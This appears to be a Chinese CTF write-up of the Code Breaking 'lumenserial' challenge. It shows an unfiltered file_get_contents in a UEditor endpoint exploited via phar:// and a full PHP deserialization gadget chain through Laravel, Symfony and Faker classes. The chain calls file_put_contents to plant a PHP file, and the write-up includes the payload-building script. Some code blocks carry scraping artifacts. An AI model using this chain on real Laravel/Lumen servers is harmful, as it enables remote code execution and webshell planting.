嘿嘿,在Code Breaking 开始的时候,太忙。就把最后 php 和 js 的两道题目的源码下了下来,js的题目有幸看完。关于最后的lumenserial 这道题目,今天上午花了一上午弄完, 发现与表哥们的writeup里面攻击链有些不同的一种方法,随便记录一下
因为没有了环境,根据表哥们的writeup 叙述,大概可以得到环境大概这样
php 7.2.12
disable_function : system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,apache_setenv,mb_send_mai
拿到源码,第一眼先看router
1 2 $router ->get('/server/editor' , 'EditorController@main' );$router ->post('/server/editor' , 'EditorController@main' );
index 是 ueditor 的编辑器界面,上面两个router 应该是关键之处 ,跟进 EditorController 看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 protected function doUploadImage (Request $request ) { } protected function doCatchimage (Request $request ) { $sources = $request ->input($this ->config['catcherFieldName' ]); $rets = []; if ($sources ) { foreach ($sources as $url ) { $rets [] = $this ->download($url ); } } } protected function doListImage (Request $request ) { } private function download ($url ) { $content = file_get_contents($url ); $img = getimagesizefromstring($content ); }
普通的图片上传,还有一个doCatchimage
提供远程下载图片的函数,进入 download函数,直接从input 中拿到$url
, 中间过程没有任何过滤 file_get_contents($url);
很明显了 可以用phar://
试试了 ,就需要一条好的攻击链子
其实有很多RCE的,比如monolog/rce1在里面就可以用(monolog1.23),可以用phpinfo
找绝对路径,但都是单参数执行,且前面也说了基本所以RCE的函数都禁了,所以需要getshell,得找到file_put_contents
的双参数执行。目的很明显 我需要 call_user_func_array('file_put_contents',[])
第一步 寻找__wakeup 或者 __destruct
在phpggc 里面 基本所以的Laravel/RCE 都是 走的
\Illuminate\Broadcasting\PendingBroadcast::__destruct()
1 2 3 4 public function __destruct ( ) { $this ->events->dispatch($this ->event); }
$this->event
单参数,这个时候有两条路,$this->events
可控走带__call
的小配件,走带dispatch()
方法的小配件
在寻找__call过程中,基本都是单参数 , 但是 其中一个带 __call的小配件很完美。
\Faker\Generator::__call
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public function __call ($method , $attributes ) { return $this ->format($method , $attributes ); } public function format ($formatter , $arguments = array ( ) ) { return call_user_func_array($this ->getFormatter($formatter ), $arguments ); } public function getFormatter ($formatter ) { if (isset ($this ->formatters[$formatter ])) { return $this ->formatters[$formatter ]; } foreach ($this ->providers as $provider ) { if (method_exists($provider , $formatter )) { $this ->formatters[$formatter ] = array ($provider , $formatter ); return $this ->formatters[$formatter ]; } } throw new \InvalidArgumentException (sprintf('Unknown formatter "%s"' , $formatter )); }
$formatter
提供可用的带键值 普通函数 , $provider
提供实例的方法。这个配件可以作为我们的最后一步
我们可以找到$this->a->f($q,$p)
形式的倒数第二步 ,$this->a
可控,f
对应$formatter['f']
可控,$q
,$p
也必须可控。
即对应
["f"=>"file_put_contents"]
$q="/root/Downloads/lumenserial/html/1.php"
$p = ""
下面回到第二步
既然__call
走不了,找一找dispatch
方法的小配件
Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher::dispatch
1 2 3 4 5 6 7 8 9 10 11 12 13 public function dispatch ($eventName , Event $event = null ) { if (null === $event ) { $event = new Event(); } if (null !== $this ->logger && $event ->isPropagationStopped()) { $this ->logger->debug(sprintf('The "%s" event is already stopped. No listeners have been called.' , $eventName )); } $this ->preProcess($eventName ); }
跟进$this->preProcess($eventName)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 private function preProcess ($eventName ) { if (!$this ->dispatcher->hasListeners($eventName )) { $this ->orphanedEvents[] = $eventName ; return ; } foreach ($this ->dispatcher->getListeners($eventName ) as $listener ) { $priority = $this ->getListenerPriority($eventName , $listener ); $wrappedListener = new WrappedListener($listener , null , $this ->stopwatch, $this ); $this ->wrappedListeners[$eventName ][] = $wrappedListener ; $this ->dispatcher->removeListener($eventName , $listener ); $this ->dispatcher->addListener($eventName , $wrappedListener , $priority ); } }
是不是发现正好有我们需要的形式$this->a->f($q,$p)
$this->dispatcher->removeListener($eventName, $listener);
离我们的目标已经很近了a
可控 ,f
也可控 ,$q
可控,$p
未知, 当然前提是能执行到这一行
下面仔细分析如何成功进入foreach
第一个if 必须返回true
1 2 3 4 5 $this ->dispatcher->hasListeners($eventName )$formatter ['hasListeners' ] = "is_string" is_string($eventName )
绕之,接下来
foreach ($this->dispatcher->getListeners($eventName) as $listener) {}
怎么进去foreach,仅仅用\(formatter 无法达到目的,无法返回带有我们phpcode的数组,别忘了我们还有\) provider 可以提供实例方法,这时候需要找一个带 getListeners 的小配件,恰好有那么一个
Illuminate\Events\Dispatcher::getListeners
1 2 3 4 5 6 7 8 9 10 11 12 13 public function getListeners ($eventName ) { $listeners = $this ->listeners[$eventName ] ?? []; $listeners = array_merge( $listeners , $this ->wildcardsCache[$eventName ] ?? $this ->getWildcardListeners($eventName ) ); return class_exists($eventName , false ) ? $this ->addInterfaceListeners($eventName , $listeners ) : $listeners ; }
$listeners = array_merge($this->listeners[$eventName],$this->wildcardsCache[$eventName])
$listeners
完全可控 , class_exists
判断 当然不存在 "/root/Downloads/lumenserial/html/1.php"
这样一个类,返回带phpcode的数组
成功进入foreach
,现在我需要保证的是在执行 this->dispatcher->removeListener($eventName, $listener);
前保证代码不出错,成功执行到这一行
1 2 3 4 5 6 7 foreach ($this ->dispatcher->getListeners($eventName ) as $listener ) { $priority = $this ->getListenerPriority($eventName , $listener ); $wrappedListener = new WrappedListener($listener , null , $this ->stopwatch, $this ); $this ->wrappedListeners[$eventName ][] = $wrappedListener ; $this ->dispatcher->removeListener($eventName , $listener ); $this ->dispatcher->addListener($eventName , $wrappedListener , $priority ); }
跟进$this->getListenerPriority($eventName, $listener);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public function getListenerPriority ($eventName , $listener ) { if (isset ($this ->wrappedListeners[$eventName ])) { foreach ($this ->wrappedListeners[$eventName ] as $index => $wrappedListener ) { if ($wrappedListener ->getWrappedListener() === $listener ) { return $this ->dispatcher->getListenerPriority($eventName , $wrappedListener ); } } } return $this ->dispatcher->getListenerPriority($eventName , $listener ); }
惊喜 return $this->dispatcher->getListenerPriority($eventName, $listener);
看来不用往后面执行了,这里就有一个现成的。保证 最后return 返回,即不设置$this->wrappedListeners[$eventName]
即可。
现在 f $q $p
都完全可控。:—)
整个链精髓在于带__call
的最后这个小配件,相当于与一个反过来的invoker ,保存的不是函数执行时需要的参数,而是函数本身,还提供实例方法函数
整个chain 如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 <?php namespace Illuminate \Broadcasting { class PendingBroadcast { protected $events ; protected $event ; function __construct ($events , $event ) { $this ->events = $events ; $this ->event = $event ; } } } namespace Symfony \Component \EventDispatcher \Debug { interface TraceableEventDispatcherInterface {} class TraceableEventDispatcher implements TraceableEventDispatcherInterface { private $dispatcher ; public function __construct ($dispatcher ) { $this ->dispatcher = $dispatcher ; } } } namespace Illuminate \Contracts \Events { interface Dispatcher {} } namespace Illuminate \Events { use Illuminate \Contracts \Events \Dispatcher as DispatcherContract ; class Dispatcher implements DispatcherContract { protected $listeners = []; protected $wildcardsCache = []; public function __construct ($listeners ,$wildcardsCache ) { $this ->listeners["/root/Downloads/lumenserial/html/1.php" ] = $listeners ; $this ->wildcardsCache["/root/Downloads/lumenserial/html/1.php" ] = $wildcardsCache ; } } } namespace Faker { class Generator { protected $formatters ; protected $providers ; public function __construct ($formatters , $providers ) { $this ->formatters = $formatters ; $this ->providers = $providers ; } } } namespace maple \aaa {$a_ = new \Illuminate \Events \Dispatcher (["<?php phpinfo ();?> "],[]); $a = new \Faker\Generator([" hasListeners" => " is_string"," removeListener" => " file_put_contents"," getListenerPriority"=>" file_put_contents"],[$a_ ]); $b = new \Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher($a );$c = new \Illuminate\Broadcasting\PendingBroadcast($b , " /root/Downloads/lumenserial/html/1 .php"); file_put_contents(" 2 .php",serialize($c )); }
最后,在本地测试时,echo serialize()
时,复制输出或者 php chain.php > 1
时 会出错。 甚至php chain.php > 1
显示被截断。因为里面有\00
存在,在序列化
protected 参数时 , 参数名前缀有 \x00\2A\x00 \2A=*
private 参数时 , 参数名前缀为\x00类名\x00
永远不说放弃,努力努力在努力,终会如愿以偿!????